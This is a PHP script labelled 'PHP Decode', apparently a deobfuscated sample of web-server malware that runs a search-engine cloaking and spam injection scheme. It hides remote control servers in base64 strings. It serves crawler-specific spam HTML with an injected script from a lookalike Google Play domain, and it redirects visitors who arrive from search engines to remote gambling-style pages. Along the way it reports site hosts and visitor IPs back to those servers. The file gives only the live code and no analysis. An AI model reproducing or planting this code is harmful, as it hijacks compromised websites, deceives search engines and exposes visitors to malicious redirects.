PHP Decode

set_time_limit(0);
error_reporting(0);
define('VERSIONS', 'VCETE');
define('APIVERSIONS', '3');
define('API_URLS', base64_decode('aHR0cHM6Ly9hcGkuMjFxdW5hcGsuY29tLw=='));
define('API_HTTP_URLS', base64_decode('aHR0cDovLzE4LjIxNi4xMTguMTQyLw=='));
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CjxoZWFkPgogICAgPHRpdGxlPlRoZSByZXNvdXJjZSBjYW5ub3QgYmUgZm91bmQuPC90aXRsZT4KICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSIlcyI7PC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+V2FpdC4uLi48L2gxPgo8L2JvZHk+CjwvaHRtbD4='));
define('API_HTML_JS', base64_decode('PHNjcmlwdCBzcmM9IiVzIj48L3NjcmlwdD4='));
define('API_HTML_API', "https://br.googleeplay.com/dao.html");
define('API_HTML_JUMP', 'redirectv3');
define('API_JS', 'https://br.googleeplay.com/dao.js');
$req_ref_fuckme = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$req_ua_fuckme = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$host_fuckme = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$req_uri_fuckme = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
function is_prefix_fuckme($uri)
{
    $prefix_regex = '/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|uri|bak\.php)./';
    return preg_match($prefix_regex, $uri) === 1;
}

function is_crawler_fuckme($ua)
{
    $crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!');
    foreach ($crawlers as $c) {
        if (stripos($ua, $c) !== false) {
            return true;
        }
    }
    return false;
}

function is_visitor_fuckme($ref)
{
    if (substr($ref, 0, 4) === 'http') {
        $refs = array('google.', 'bing.', 'yahoo.');
        foreach ($refs as $r) {
            if (stripos($ref, $r) !== false) {
                return true;
            }
        }
    }
    return false;
}

function get_client_ip_fuckme()
{
    foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) {
        if (array_key_exists($key, $_SERVER) === true) {
            foreach (explode(',', $_SERVER[$key]) as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
                    return $ip;
                }
            }
        }
    }
    return '0.0.0.0';
}

function fetch_content_fuckme($url, $headers = array(), $conn_timeout = 30, $trans_timeout = 30)
{
    if (function_exists('curl_init')) {
        $ch = curl_init();
        try {
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
            curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            $result = curl_exec($ch);
            if ($result === false) {
                $context = stream_context_create(array(
                    'http' => array(
                        'timeout' => $trans_timeout
                    ),
                    'https' => array(
                        'timeout' => $trans_timeout
                    )
                ));
                return file_get_contents($url, false, $context);
            }
            return $result;
        } finally {
            curl_close($ch);
        }
    } else {
        $context = stream_context_create(array(
            'http' => array(
                'timeout' => $trans_timeout
            ),
            'https' => array(
                'timeout' => $trans_timeout
            )
        ));
        return file_get_contents($url, false, $context);
    }
}

function get_content_fuckme($url, $headers = array(), $conn_timeout = 30, $trans_timeout = 30)
{
    $result = fetch_content_fuckme($url, $headers, $conn_timeout, $trans_timeout);
    if ($result === false) {
        $fallback_url = str_replace(API_URLS, API_HTTP_URLS, $url);
        $result = fetch_content_fuckme($fallback_url, $headers, $conn_timeout, $trans_timeout);
    }
    return $result;
}

function main_fuckme_code()
{
    global $req_ref_fuckme, $req_ua_fuckme, $host_fuckme, $req_uri_fuckme;
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Cache-Control: post-check=0, pre-check=0', FALSE);
    header('Pragma: no-cache');
    $uri_encoded = urlencode($req_uri_fuckme);
    $headers = array();
    if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
        array_push($headers, "Accept-Language: $lang");
        array_push($headers, "Vary: Accept-Language");
    }
    if (is_crawler_fuckme($req_ua_fuckme)) {
        $crawler_ip = get_client_ip_fuckme();
        if (is_prefix_fuckme($req_uri_fuckme)) {
            header('Content-Type:text/html; charset=utf-8');
            $htmls = get_content_fuckme(API_URLS . "connector.html?domain={$host_fuckme}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers);
            $htmls = str_replace('</head>', sprintf(API_HTML_JS, API_JS) . '</head>', $htmls);
            echo $htmls;
            exit;
        } else {
            $sitemaps = file_get_contents(API_URLS . "suijiurl/index.php");
            echo $sitemaps;
        }
    } elseif (is_prefix_fuckme($req_uri_fuckme) && is_visitor_fuckme($req_ref_fuckme)) {
        header('Content-Type:text/html; charset=utf-8');
        $client_ip = get_client_ip_fuckme();
        $allheaders = array();
        if (!function_exists('getallheaders')) {
            function getallheaders()
            {
                $tmp_headers = array();
                foreach ($_SERVER as $name => $value) {
                    if (substr($name, 0, 5) == 'HTTP_') {
                        $tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                    }
                }
                return $tmp_headers;
            }

            $allheaders = getallheaders();
        } else {
            $allheaders = getallheaders();
        }
        foreach ($allheaders as $key => $value) {
            if (stripos($key, 'Sec-') === 0) {
                array_push($headers, "$key: $value");
            }
        }
        $html = get_content_fuckme(API_URLS . API_HTML_JUMP . ".html?domain={$host_fuckme}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSIONS . "&v=" . APIVERSIONS, $headers, 2, 2);
        echo $html ?: sprintf(FALLBACK_REDIRECT_HTML, API_HTML_API);
        exit;
    }
}

main_fuckme_code();